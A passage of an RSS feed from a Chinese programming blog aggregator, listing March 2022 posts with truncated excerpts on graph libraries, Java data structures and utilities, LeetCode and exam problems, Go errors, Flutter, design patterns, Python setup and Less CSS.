      <link>https://bchobby.github.io/posts/c4be2ac668382cc5a0937386d0c19558/</link>
      <pubDate>Sun, 27 Mar 2022 19:03:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c4be2ac668382cc5a0937386d0c19558/</guid>
      <description>github - raphlib&#xA;文章目录 安装npm Install 介绍API 指南图像概念展现节点和边线Multigraphs复合图默认标签Graph APIgraph.isDirected()graph.isMultigraph()graph.isCompound()graph.graph()graph.setGraph(label)graph.nodeCount()graph.edgeCount()graph.setDefaultNodeLabel(val)graph.setDefaultEdgeLabel(val)graph.nodes()graph.edges()graph.sources()graph.sinks()graph.hasNode(v)graph.node(v)graph.setNode(v, [label])graph.removeNode(v)graph.predecessors(v)graph.successors(v)graph.neighbors(v)graph.inEdges(v, [u])graph.outEdges(v, [w])graph.nodeEdges(v, [w])graph.parent(v)graph.children(v)graph.setParent(v, parent)graph.hasEdge(v, w, [name]) / graph.hasEdge(edgeObj)graph.edge(v, w, [name]) / graph.edge(edgeObj)graph.setEdge(v, w, [label], [name]) / graph.setEdge(edgeObj, [label])graph.removeEdge(v, w, [name]) 序列化json.write(g)json.read(json) 算法alg.components(graph)alg.dijkstra(graph, source, weightFn, edgeFn)alg.dijkstraAll(graph, weightFn, edgeFn)alg.findCycles(graph)alg.isAcyclic(graph)alg.postorder(graph, vs)alg.preorder(graph, vs)alg.prim(graph, weightFn)alg.tarjan(graph)alg.topsort(graph) 安装 npm Install $ npm install @dagrejs/graphlib 介绍 Graphlib是一个JavaScript Lib库，为无向和有向多变图提供数据结构，以及可以一起使用的算法。&#xA;[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7YWcTEXZ-1648378764148)(https://secure.travis-ci.org/dagrejs/graphlib.svg)]&#xA;更多学习内容, 查看wiki。&#xA;API 指南 本部分主要阐述graphlib的概念并提供API指南。默认情况下，graphlib函数和对象暴露在graphlib的命名空间下。&#xA;图像概念 Graphlib有一种图类型: Graph。&#xA;创建一个新的实例:&#xA;var g = new Graph(); 默认情况下，将会创建一个不允许多边或者复合节点的有向图。以下则是参数选项:&#xA;directed:设置为true时, 得到一个有向图。false时, 得到一个无向图。无向图不会把节点的顺序视为第一要务。换句话说, 对无向图来说g.</description>
    </item>
    <item>
      <title>java实现Treap</title>
      <link>https://bchobby.github.io/posts/d51f7827708a8ba3f0229f04746a73ff/</link>
      <pubDate>Sun, 27 Mar 2022 16:40:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d51f7827708a8ba3f0229f04746a73ff/</guid>
      <description>Treap树（笛卡尔树）= Heap (堆)+BST (二叉搜索树 binary search trea)。这是一颗既满足堆的性质与BST的性质的树。&#xA;当我们只知道一颗二叉查找树（BST）的 valval 的时候，我们可以将任意一个点作为根节点，任意一个比此点 valval 小的点作为左儿子，任意一个比此点 valval 大的点作为右儿子，按照此种方法建树后，如果我们进行中序遍历，会发现遍历出的序列是有序且一定的。&#xA;那么小顶堆（Heap）的性质是修正值最小的点一定在最上方，也就是根，左儿子和右儿子的 rndrnd 是左子树和右子树分别的最小值，由于有BST的性质限制，又有了Heap的性质限制后我们就发现这棵树的结构也是一定的。&#xA;public class Treap{ class Node{ Node right; Node left; Object data; Node parent; int priority; public Node(Object d,int pro,Node p){ data=d;priority=pro;parent=p; } public void printTree(Node root){ if(root!=null){ printTree(root.left); System.out.println(root.data); printTree(root.right); } } /** *查找 */ public Node query(Node root,int value){ Node node=root; while(node!=null){ if((int)node.data&amp;gt;value){ node=node.left; }else if((int)node.data&amp;lt;value){ node=node.right; }else{ return node; } } return null; } public Node insert(Object value,Node root,Node p){ if(root==null) return new Node(value,(int)(Math.</description>
    </item>
    <item>
      <title>java zip工具类</title>
      <link>https://bchobby.github.io/posts/14d8ca91ad75eb612af50d79277c21ae/</link>
      <pubDate>Sun, 27 Mar 2022 16:25:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14d8ca91ad75eb612af50d79277c21ae/</guid>
      <description>&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.ant&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ant&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.8.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; package com.test.util; import org.apache.tools.zip.ZipEntry; import org.apache.tools.zip.ZipFile; import org.apache.tools.zip.ZipOutputStream; import java.io.*; import java.util.Enumeration; import java.util.zip.CRC32; import java.util.zip.CheckedOutputStream; public class ZipUtil { private static final int BUFSIZE = 1024; private static void compressbyType(File src, ZipOutputStream zos, String baseDir) { if (!src.exists()) return; if (src.isFile()) { compressFile(src, zos, baseDir); } else if (src.isDirectory()) { compressDir(src, zos, baseDir); } } public static void compress(String srcFilePath, String destFilePath) { File src = new File(srcFilePath); if (!</description>
    </item>
    <item>
      <title>力扣每日一题（难的我也不会）2028. 找出缺失的观测数据（2022.3.27）</title>
      <link>https://bchobby.github.io/posts/4ba1bac43982ac31735061be86877ca5/</link>
      <pubDate>Sun, 27 Mar 2022 14:43:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ba1bac43982ac31735061be86877ca5/</guid>
      <description>2028. 找出缺失的观测数据&#xA;现有一份 n + m 次投掷单个 六面 骰子的观测数据，骰子的每个面从 1 到 6 编号。观测数据中缺失了 n 份，你手上只拿到剩余 m 次投掷的数据。幸好你有之前计算过的这 n + m 次投掷数据的 平均值 。&#xA;给你一个长度为 m 的整数数组 rolls ，其中 rolls[i] 是第 i 次观测的值。同时给你两个整数 mean 和 n 。&#xA;返回一个长度为 n 的数组，包含所有缺失的观测数据，且满足这 n + m 次投掷的 平均值 是 mean 。如果存在多组符合要求的答案，只需要返回其中任意一组即可。如果不存在答案，返回一个空数组。&#xA;k 个数字的 平均值 为这些数字求和后再除以 k 。&#xA;注意 mean 是一个整数，所以 n + m 次投掷的总和需要被 n + m 整除。&#xA;今天的题简单，小学数学学的可以就能过&#xA;直接模拟，计算出长度为n的数组的总和，除以n得到每个位置上的数，如果不是整除，记录下差了多少个整除，并将他们的值加一即可，最后对数据边界做一些整理&#xA;代码如下&#xA;class Solution { public int[] missingRolls(int[] rolls, int mean, int n) { int len = rolls.</description>
    </item>
    <item>
      <title>字符转换-PTA</title>
      <link>https://bchobby.github.io/posts/dc758922976ea54e35e6f25bb5c2ea6c/</link>
      <pubDate>Sun, 27 Mar 2022 12:28:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc758922976ea54e35e6f25bb5c2ea6c/</guid>
      <description> 本题要求提取一个字符串中的所有数字字符（&#39;0&#39;……&#39;9&#39;），将其转换为一个整数输出。&#xA;输入格式： 输入在一行中给出一个不超过80个字符且以回车结束的字符串。&#xA;输出格式： 在一行中输出转换后的整数。题目保证输出不超过长整型范围。&#xA;输入样例： free82jeep5 输出样例： 825 解析：遍历输入的字符串，把字符串中的数字筛选出来&#xA;int main() { char str[81] = { 0 }; gets(str); int count = 0; for (int i = 0; i &amp;lt; 81; ++i) { if (str[i] &amp;gt;= &#39;0&#39; &amp;amp;&amp;amp; str[i] &amp;lt;= &#39;9&#39;) { count = count*10 + str[i] - &#39;0&#39;; } } printf(&#34;%d&#34;, count); return 0; } </description>
    </item>
    <item>
      <title>Go~实现自定义Error返回体</title>
      <link>https://bchobby.github.io/posts/9baabf4388fa7a3281c0f7d9d2e5cd4d/</link>
      <pubDate>Sun, 27 Mar 2022 10:51:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9baabf4388fa7a3281c0f7d9d2e5cd4d/</guid>
      <description>error接口 假设你就已经创建和使用过神秘的预定义error类型，但是没有解释它究竟是什么。实际上它就是interface类型，这个类型有一个返回错误信息的单一方法：&#xA;// The error built-in interface type is the conventional interface for // representing an error condition, with the nil value representing no error. type error interface { Error() string } 创建一个error最简单的方法就是调用errors.New函数，它会根据传入的错误信息返回一个新的error。&#xA;调用errors.New函数是非常稀少的，因为有一个方便的封装函数fmt.Errorf，它还会处理字符串格式化。&#xA;func Errorf(format string, args ...interface{}) error { return errors.New(Sprintf(format, args...)) } 那如果我们想自定义一个error自然实现这个error接口即可 自定义error package main import ( &#34;fmt&#34; &#34;os&#34; &#34;time&#34; ) type PathError struct { path string op string createTime string message string } // 自定义返回体 func (p *PathError) Error() string { return fmt.</description>
    </item>
    <item>
      <title>用python裁剪PDF文档</title>
      <link>https://bchobby.github.io/posts/aa9e56da6c17ff752f5903b6239d404f/</link>
      <pubDate>Sun, 27 Mar 2022 10:45:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa9e56da6c17ff752f5903b6239d404f/</guid>
      <description>在阅读PDF文档时，个人习惯在笔记本上双页阅读，但有的PDF边距太宽，看起来字很小，阅读吃力&#xA;本代码用来裁剪整个PDF文档间距&#xA;import PyPDF2 import os left_margin = right_margin = 30 top_margin = 5 bottom_margin = 5 input_file_path = [] output_file_path = [] os.makedirs(&#39;.\\修改&#39;) # 新建文件夹 file_path = &#39;.\\&#39; file_list = os.listdir(file_path) for i in file_list: if os.path.splitext(i)[1] == &#39;.pdf&#39;: input_file_path.append(&#39;.\\&#39; + i) output_file_path.append(&#39;.\\修改\\&#39; + &#39;修改&#39; + i) def split(page): page.mediaBox.lowerLeft = (left_margin, bottom_margin) page.mediaBox.lowerRight = (width - right_margin, bottom_margin) page.mediaBox.upperLeft = (left_margin, height - top_margin) page.mediaBox.upperRight = (width - right_margin, height - top_margin) for m in range(len(input_file_path)): input_file = PyPDF2.</description>
    </item>
    <item>
      <title>【算法】【华为】2019华为笔试 找终点：给定一个正整数数组，最大为100个成员，从第一个成员开始，走到数组最后一个成员最少的步骤数，</title>
      <link>https://bchobby.github.io/posts/df72f58ff97afcc20c87a1a716b3bae6/</link>
      <pubDate>Sun, 27 Mar 2022 00:25:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df72f58ff97afcc20c87a1a716b3bae6/</guid>
      <description>■题目描述&#xA;给定一个正整数数组，最大为100个成员，从第一个成员开始，走到数组最后一个成员最少的步骤数，&#xA;第一步必须从第一元素开始，1&amp;lt;=步长&amp;lt;len/2, 第二步开始以所在成员的数字走相应的步数，如果目标不可达返回-1，只输出最少的步骤数量&#xA;思路1：从前往后进行遍历，第一步走1步，求解；第一步走2步，求解，第一步走…… 走（len/2）步，分别求解，如果可以达到终点，则记录步数，如果步数足够小，则保存。这样复杂度是O( n 2 n^2 n2)。思路2：从后往前遍历，指针记录距离尾部距离，例如：nToTail=0，指针在9位置；nTotail=1，指针在3位置，由于3!=nToTail而且大于nToTail，不计算，指针继续前移；同样，指针一直移动，直到nToTail=6此时data[len-1-6]=6，保存此时的步长并继续向前移动，直到找到表头为止；此时，指针移动到nToTail=9,data[len-1-9]=9，所以更新最大步长为9；继续找到表头，无符合的数据了从刚才找到的最大步长开始继续往前找，令指针指向data[len-1-9]位置，更新距离为0。此时，len-1-9已经小于len/2所以可以一步到位；否则应该从9开始，继续往前找，直到找到一个步长，可以从后往前越过len/2的位置。 可以看到，思路2的耗时明显很少，采用思路2进行编码&#xA;PS：会不会有从前往后走能走通，但是从后往前走走不通的情况呢：&#xA;考虑到类似：1,3,1,2,120,1,0的输入，从后往前走，会遇到120，此时会走不通，但是走到2的时候，由于走两步到倒数第二个1，所以120并不影响。（这个证明并不严谨，大概是这个意思）&#xA;代码：&#xA;#include &amp;lt;iostream&amp;gt; using namespace std; /**********************************************/ // 给定一个正整数数组，最大为100个成员，从第一个成员开始， // 走到数组最后一个成员最少的步骤数， // 第一步必须从第一元素开始，1 &amp;lt;= 步长 &amp;lt; len / 2, // 第二步开始以所在成员的数字走相应的步数，如果目标不可达返回 - 1， // 只输出最少的步骤数量 int FindEnd(int* numbers, int length) { if (numbers == nullptr || length &amp;lt;= 1) { return -1;//不存在，输出-1 } int nIndex = length - 1; // 尾部指针 int nToTailDist = 0; // 指针距离尾部距离 int nMaxStep = 0; // 最大距离 int nStep = 0; // 当前走的步数 while (true) { if (nToTailDist == numbers[nIndex] &amp;amp;&amp;amp; nMaxStep &amp;lt; nToTailDist) { // 找到可达步长 nMaxStep = nToTailDist; } nIndex--; // 移动指针 nToTailDist++; if (nIndex &amp;lt; 0) { if (nMaxStep ==0) { // 如果该回合没有找到一个最大步数，说明卡住了，没有可达步数 return -1; } nStep++; nIndex = length - 1 - nMaxStep; if (nIndex &amp;lt;= length / 2) { if (nIndex&amp;gt;0) { nStep++; return nStep; } else { return nStep; } } nToTailDist = 0; nMaxStep = 0; } } return -1; } void Test(int v1,int v2,const char*name) { if (v1 == v2) { cout &amp;lt;&amp;lt; name &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>2019华为笔试 找终点</title>
      <link>https://bchobby.github.io/posts/a0805b53df1a93b7fc3ae3034cb7a6d8/</link>
      <pubDate>Sun, 27 Mar 2022 00:24:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0805b53df1a93b7fc3ae3034cb7a6d8/</guid>
      <description>【算法】【华为】2019华为笔试 找终点：给定一个正整数数组，最大为100个成员，从第一个成员开始，走到数组最后一个成员最少的步骤数， https://blog.csdn.net/qinglingLS/article/details/123765889 本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;本题答案已经修改，请前往上面网址👆&#xA;■题目描述 给定一个正整数数组，最大为100个成员，从第一个成员开始，走到数组最后一个成员最少的步骤数，&#xA;第一步必须从第一元素开始，1&amp;lt;=步长&amp;lt;len/2, 第二步开始以所在成员的数字走相应的步数，如果目标不可达返回-1，只输出最少的步骤数量&#xA;这个题我理解错了，以为每一步都可以走 0&amp;lt;x&amp;lt;步长数字,写的代码通过率40%，&#xA;哎，我好菜啊。。&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; int main() { int group[100]= {0}; int num=0; int max=0; while(scanf(&#34;%d&#34;,&amp;amp;group[num])!=EOF) { if(max&amp;lt;group[num]) { max=group[num]; } //printf(&#34;%d &#34;,group[num]); num+=1; } //printf(&#34;max:%d\n&#34;,max); num=num-1; int time=0; int i=0; int flag=0; int maxstep=0; int maxindex=0; while(num&amp;gt;=0) { maxstep=0; maxindex=0; for(i=0; i&amp;lt;=max&amp;amp;&amp;amp;num-i&amp;gt;=0; i++) { //printf(&#34;</description>
    </item>
    <item>
      <title>Flutter简介</title>
      <link>https://bchobby.github.io/posts/b9d9b2c3a50f5133ffc1457d105f752a/</link>
      <pubDate>Sat, 26 Mar 2022 19:33:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9d9b2c3a50f5133ffc1457d105f752a/</guid>
      <description>一、Flutter简介🔥 Flutter是谷歌的移动UI框架，可以快速在iOS和Android上构建高质量的原生用户界面。 Flutter可以与现有的代码一起工作。在全世界，Flutter正在被越来越多的开发者和组织使用，并且Flutter是完全免费、开源的，可以用一套代码同时构建Android和iOS应用，性能可以达到原生应用一样的性能。&#xA;一句话总结就是：Flutter是一个跨平台、高性能的移动UI框架&#xA;🔴跨平台 Flutter使用自己的高性能渲染引擎来绘制 Widget([ˈwɪdʒɪt])，这样可以保证在 Android 和iOS 上 UI 的一致性，目前 Flutter 已经支持 iOS、Android、Web、Windows、macOS、Linux、Fuchsia（Google新的自研操作系统）等众多平台。&#xA;🟠高性能 Flutter的高性能主要靠两点来保证：&#xA;采用 Dart 语言开发使用自己的渲染引擎来绘制 UI Dart语言在JIT模式下，执行速度与 JavaScript 基本持平。但是它支持AOT，以 AOT模式运行时，JavaScript 便远远追不上了，执行效率也就大大提升。并且Flutter使用自己的渲染引擎绘制UI，布局数据都由Dart语言直接控制，性能开销比较可观&#xA;下面看看Flutter与其他跨平台的移动开发技术比较：&#xA;技术类型UI渲染方式性能开发效率动态化框架代表H5 + 原生WebView渲染一般高支持Cordova、IonicJavaScript + 原生渲染原生控件渲染好中支持RN、Weex自绘UI + 原生调用系统API渲染好Flutter高, Qt低默认不支持Qt、Flutter 二、采用Dart语言开发 采用Dart语言开发，顾名思义文件扩展名以 .dart 结尾。&#xA;Flutter为什么会选择 Dart 语言而不选择我们前端鲜为人知的 JavaScript 呢？&#xA;🔴开发效率高 Flutter 在开发阶段采用，采用 JIT 模式，这样就避免了每次改动都要进行编译，极大的节省了开发时间Flutter 在发布时可以通过 AOT 生成高效的机器码以保证应用性能。而 JavaScript 则不具有这个能力 🟠高性能 Flutter 中能够在每个动画帧中运行大量的代码。这意味着需要一种既能提供高性能的语言，而不会出现会丢帧的周期性暂停，而 Dart 支持 AOT，在这一点上可以做的比 JavaScript 更好 🟡快速分配内存 类型安全和空安全 Dart 是类型安全的语言，支持静态类型检测，可以在编译前发现一些类型的错误，并排除潜在问题JavaScript 是一个弱类型语言，需要给JavaScriptdiamagnetic添加静态类型检测的扩展语言和工具 三、Flutter框架结构 这里对Flutter的框架做一个整体介绍，可以有个整体印象</description>
    </item>
    <item>
      <title>设计模式--今天就学这么多</title>
      <link>https://bchobby.github.io/posts/57b466bda6a1f5663f23ea230c5bc033/</link>
      <pubDate>Sat, 26 Mar 2022 18:16:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/57b466bda6a1f5663f23ea230c5bc033/</guid>
      <description>设计模式 设计模式，其实就是一种写代码时的设计思想。&#xA;分类：&#xA;创建型&#xA;单例模式&#xA;原型模式&#xA;构造器模式&#xA;工厂模式&#xA;抽象工厂模式&#xA;结构型&#xA;桥接模式&#xA;外观模式&#xA;组合模式&#xA;装饰器模式&#xA;适配器模式&#xA;代理模式&#xA;享元模式&#xA;行为型&#xA;迭代器模式&#xA;解释器模式&#xA;观察者模式&#xA;中介者模式&#xA;访问者模式&#xA;状态模式&#xA;策略模式&#xA;命令模式&#xA;模板模式&#xA;为什么要学习理解设计模式&#xA;我们在写代码，写页面时，为了可维护、可迭代、可读性、低耦合性等等，有时需要考虑 逻辑代码该怎么封装，组件该怎么封装，设计模式 就是 前人从以往的经验中总结出来的一些 书写代码的思想（或者说套路），帮助我们更快的做决定、做判断，为了更好的应对我们的场景，我们眼下这块代码该怎么写。&#xA;设计模式（Design Pattern）是一套被反复使用、多数人知晓的、经过分类的、代码设计经验的总结（来自百度百科）&#xA;注意：&#xA;我们实现某块功能，某个组件时，可以结合多个设计模式&#xA;外观模式（Facade） 概念：&#xA;为子系统中的 一组接口 提供一个一致的界面，外观模式定义了 一个高层接口&#xA;这个 接口 使得这一子系统更加容易使用。&#xA;引入外观角色之后，用户只需要直接与外观角色交互&#xA;用户与子系统之间的复杂关系由外观角色内部来处理，从而降低了系统的耦合度&#xA;应用示例：&#xA;普通登录、邮箱登录、手机登录，三个表单，那么我们就要判断该显示那个表单&#xA;先经过一层简单封装，变为：&#xA;逻辑处理还是留在了使用层&#xA;所以，使用 外观模式：&#xA;将逻辑判断和处理留在封装组件的内部，组件变得可读，可随意抽离&#xA;单例模式 概念：&#xA;保证一个类只有一个实例（提供一个访问它的全局访问点，无论”创建“多少次，都只返回第一次所创建的那个唯一的实例）&#xA;单例模式是创建型设计模式的一种。针对全局仅需一个实例的场景&#xA;实现需求：&#xA;具备判断自己是否已经创建过该实例的的能力&#xA;理解与应用&#xA;jquery 我们全局需要几个，只需要一个，所以这就是符合单例模式的&#xA;逻辑代码层面：&#xA;静态方法实现：&#xA;&amp;lt;span style=&#34;background-color:#f8f8f8&#34;&amp;gt; &amp;lt;span style=&#34;</description>
    </item>
    <item>
      <title>解决：java -version,java,javac不是内部或外部命令，也不是可运行的程序 或批处理文件。</title>
      <link>https://bchobby.github.io/posts/96baebefcb4b2d89eeadb4c0bf5c1f13/</link>
      <pubDate>Sat, 26 Mar 2022 17:27:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96baebefcb4b2d89eeadb4c0bf5c1f13/</guid>
      <description>命令行输入java,java -version,javac都显示不是内部或外部命令。&#xA;1.首先查看了自己的环境变量： 经过学习确实都是环境变量出现问题，之前的环境变量都是%JAVA_HOME%\bin，全部换成了绝对路径如：C:\Program Files\Java\jdk1.8.0_321\bin&#xA;2.之后java,java-version好了，javac还是不对 网上一番搜索，path里面的如C:\Program Files\Java\jdk1.8.0_321\bin；我加了分号，把；去掉，再重启命令行，输入，一切OK。</description>
    </item>
    <item>
      <title>数字信号处理（复试问题专业课考察）</title>
      <link>https://bchobby.github.io/posts/512f1645faebfcf23bd21cc4c4b74a03/</link>
      <pubDate>Sat, 26 Mar 2022 12:07:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/512f1645faebfcf23bd21cc4c4b74a03/</guid>
      <description>1、什么是数字信号，什么是模拟信号？两者的根本区别是什么？ 2、数字通信的优缺点？ 答：优点：抗干扰能力强、噪声不积累、差错可控； 缺点：需要较大的传输带宽。 3、按照调制方式，通信系统可以分为？ 答：基带传输系统和带通传输系统 基带传输：是指信号没有经过调制而直接送到信道中去传输的通信方式。&#xA;频带传输：是指信号经过调制后再送到信道中传输，接收端有相应解调措施的通信方式。 4、信号的复用方式？ 答：时分、频分、码分 5、按照信号特征分类：模拟、数字通信系统 6、按照通信方式：单工（广播）、半双工（对讲机）、双工（电话） 7、按照数字码元排列顺序：并行、串行传输 8、通信系统的主要性能指标：有效性、可靠性 9、模拟信号：有效性：带宽 可靠性：信噪比 10、信源编码目的：提高传输有效性；信道编码目的：提高信号传输可靠性； 11、数字信号：有效性：传码率、传信率、频带利用率 可靠性：误码率、误信率 12、随机过程的统计特性：分布函数或概率密度表示。 13、广义平稳随机过程：与时间起点无关（严平稳），只与时间间隔有关。（广义包含严） 14、各态历经：用一次实现的“时间平均”值来代替“统计平均”值，从而大大简化。 15、高斯过程（正态分布）经过线性变换后生成的过程仍是高斯过程。 16、窄带平稳高斯过程，均值为零，方差ð2,其包络为瑞利分布，相位均匀分布。 17、“窄带”：频带宽度远小于中心频率，中心频率远离零频。 18、“加性噪声”：噪声以相加的形式作用在信号上。 19、“白”：指他的功率谱在频率范围内分布均匀（大于工作频带）。 20、“高斯白噪声”：白噪声其概率分布服从高斯分布。 21、“低通白噪声”：白噪声通过理想低通滤波器。 22、正弦载波信号加窄带高斯噪声的包络一般为：莱斯分布。 23、 R(0)=平均功率 R(无穷)=直流功率 24、码间串扰：相邻码元波形之间发生部分重叠。 25、衰落：信号包络因传播有了起伏的现象。 26、快衰落：由多径效应引起的衰落。 27、AM的总功率：Pc(载波功率)+Ps(边带功率)，Pc=1/2 A0*A0 28、AM：包络检波恢复；FM、PM：相干解调恢复 29、“门限效应”：输出信噪比急剧恶化的现象，是由包络检波器的非相干解调作用引起的。 30、线性调制：针对幅度；非线性调制：针对频率与相位。 31、加重技术：输出信号不变，降低输出噪声，达到提高输出信噪比的目的。 32、抗噪声性能：WBFM最好，AM最差；频带利用率：SSB最高，FM最低。 33、线性调制的通用模型：滤波法和相移法 34、AMI:传号交替反转码；HDB3:三阶高密度双极性码。 35、眼图：用示波器观察接收端的基带信号波形，从而估计和调整系统性能的一种方法。 36、最佳抽样时刻：眼睛张开最大时刻；判决门限电平：中央横轴位置。 37、改善系统性能的两种措施：部分响应和均衡。 38、QAM:正交振幅调制；MSK：最小频移键控； 39、MSK:包络恒定、相位连续、带宽最小且严格正交的2FSK信号。 40、GMSK:高斯最小频移键控 41、OFDM:正交频分复用：（1）多载波并行调制体制（2）各路子载波有部分重叠且为多进制调制（3）调制制度不同，采用不同体制 42、数字化过程：抽样、量化、编码。 43、PCM:脉冲编码调制。 44、∆M（DM）：增量调制 45、最佳基带传输系统：消除了码间串扰且误码率最小的基带传输系统 46、在PCM30/32系统中，信息传输速率为：2.048Mb/s 47、理想低通频带利用率最大：2B/Hz; 48、仅用低通滤波器，不可以将平顶抽样信号恢复。 49、在PCM中，对语音信号进行非均匀量化的理由是：小信号概论大，大…小； 50、二进制确知信号中，PSK信号是最佳信号形式。 51、信号在恒参信道不失真条件：幅频特性为常数，相频特性为过原点的直线。 52、折叠二进码对比自然码优点：误码对小电压影响小。 53、匹配滤波器：使输出信噪比最大的线性滤波器。 54、Ad hoc : 点对点 （无线移动通信模式） 55、非均匀量化的目的：提高输出信噪比； 56、调制信道的范围：调制器输出端到解调器输入端； 57、汉明码：能够纠正一位，检错2位，效率最高的线性分组码； 58、狭义信道的含义：传输媒介； 59、VSB在电视广播系统中应用的原因：电视图像信号的低频分量丰富.</description>
    </item>
    <item>
      <title>Python基础知识（Python的简介、Python环境的安装、集成开发环境Pycharm的安装）</title>
      <link>https://bchobby.github.io/posts/314f0b7e459a4dbb84f99cdacc6a49ea/</link>
      <pubDate>Sat, 26 Mar 2022 11:54:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/314f0b7e459a4dbb84f99cdacc6a49ea/</guid>
      <description>1.Python的简介 python是跨平台的计算机语言、解释型语言、交互式语言、面向对象语言、初学者最好学的语言&#xA;什么是跨平台：意思就是说可以在很多操作系统中执行。比如：可以在windows操作系统里执行、也可以在苹果操作系统里执行、&#xA;什么是解释型：就是写完之后由我们的解释器直接执行，没有编译这个环节，但是Java里会有编译&#xA;什么是交互式：就是可以在提示符&amp;gt;&amp;gt;&amp;gt;后直接写代码，回车&#xA;什么是面向对象：对于python来说一切皆为对象&#xA;为什么说最好的方法：因为python语法简单、写起来不复杂、支持广泛的应用程序&#xA;2.Python环境的安装 搭建Python开发环境 安装Python解释器&#xA;Welcome to Python.org 官网&#xA;https://www.python.org/7dowmlods/release/python-381/&#xA;找到适合自己的版本&#xA;下载完成&#xA;IDLE(Python 3.10 64-bit ) : python自带简单开发环境,写短的代码可以直接在&amp;gt;&amp;gt;&amp;gt;后写，写多的可以新建文件 再写&#xA;Python 3.10(64-bit): python命令行交互式模式&#xA;Python 3.10 Mauals(64-bit):官方技术文档&#xA;Python3.10 Module Docs (64-bit):已安装的模块文档&#xA;3.集成开发环境Pycharm的安装 PyCharm安装教程（Windows） PyCharm下载地址：PyCharm 安装教程（Windows） | 菜鸟教程http://www.runoob.com/w3cnote/pycharm-windows-install.html&#xA;1）下载好之后打开---新建项目（点击左上角Projiect右击选择New Project--选择Pure-Python可以选择自己喜欢的盘符新建个文件存放数据）&#xA;2）完成后点击Project interpreter:New Virtualenv environment---d点击Base interpreter:选择哪个开发环境&#xA;3）再往下选择Existing interpreter扩展 然后创建&#xA;4）创建完成之后可以右击项目--选择New--选择Python File创建新的文件&#xA;5）可以自己取名</description>
    </item>
    <item>
      <title>Java编写简易控制台计算器</title>
      <link>https://bchobby.github.io/posts/0e14f88dfaa8e6802c11d3aa4caa57c6/</link>
      <pubDate>Fri, 25 Mar 2022 22:52:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e14f88dfaa8e6802c11d3aa4caa57c6/</guid>
      <description>Java编写简易控制台计算器 主要需求与功能： 包含四个基本运算：加，减，乘，除利用while循环和switch选择结构包含两个基本操作数输出结果后可选择退出或继续使用 import java.util.Scanner; public class Calculator { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); //scanner进行交互。 int i = 0; //定义一个用于判定循环是否继续的值，后可通过if改变i值以达到可选择继续计算或退出计算的目的。 while(i&amp;lt;1) { System.out.println(&#34;请输入第一个数字：&#34;); float a = scanner.nextFloat(); //获取第一个需进行运算的数值 System.out.println(&#34;请输入第二个数字：&#34;); float b = scanner.nextFloat(); //获取第二个需进行运算的数值 System.out.println(&#34;请选择运算符号：&#34;); System.out.println(&#34;1：加法&#34;); System.out.println(&#34;2：减法&#34;); System.out.println(&#34;3：乘法&#34;); System.out.println(&#34;4：除法&#34;); int options = scanner.nextInt(); float c; switch (options) { //利用switch选择结构进行运算方式的选择 case 1: c = a + b; System.out.println(a + &#34;+&#34; + b + &#34;=&#34; + c); break; case 2: c = a - b; System.</description>
    </item>
    <item>
      <title>less基础</title>
      <link>https://bchobby.github.io/posts/4e5f5ebfe6a3a2872ceaa9bc327f0c6b/</link>
      <pubDate>Fri, 25 Mar 2022 20:55:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e5f5ebfe6a3a2872ceaa9bc327f0c6b/</guid>
      <description>一，概览&#xA;Less （Leaner Style Sheets 的缩写） 是一门向后兼容的 CSS 扩展语言。这里呈现的是 Less 的官方文档（中文版），包含了 Less 语言以及利用 JavaScript 开发的用于将 Less 样式转换成 CSS 样式的 Less.js 工具。&#xA;变量（Variables） 无需多说，看代码一目了然：&#xA;@width: 10px; @height: @width + 10px; #header { width: @width; height: @height; } 编译为：&#xA;#header { width: 10px; height: 20px; } 混合（Mixins） 混合（Mixin）是一种将一组属性从一个规则集包含（或混入）到另一个规则集的方法。假设我们定义了一个类（class）如下：&#xA;.bordered { border-top: dotted 1px black; border-bottom: solid 2px black; } 如果我们希望在其它规则集中使用这些属性呢？没问题，我们只需像下面这样输入所需属性的类（class）名称即可，如下所示：&#xA;#menu a { color: #111; .bordered(); } .post a { color: red; .</description>
    </item>
    <item>
      <title>C语言-排序</title>
      <link>https://bchobby.github.io/posts/2f1f943dea5982d74c7bdef7ab805984/</link>
      <pubDate>Fri, 25 Mar 2022 20:52:02 +0800</pubDate>
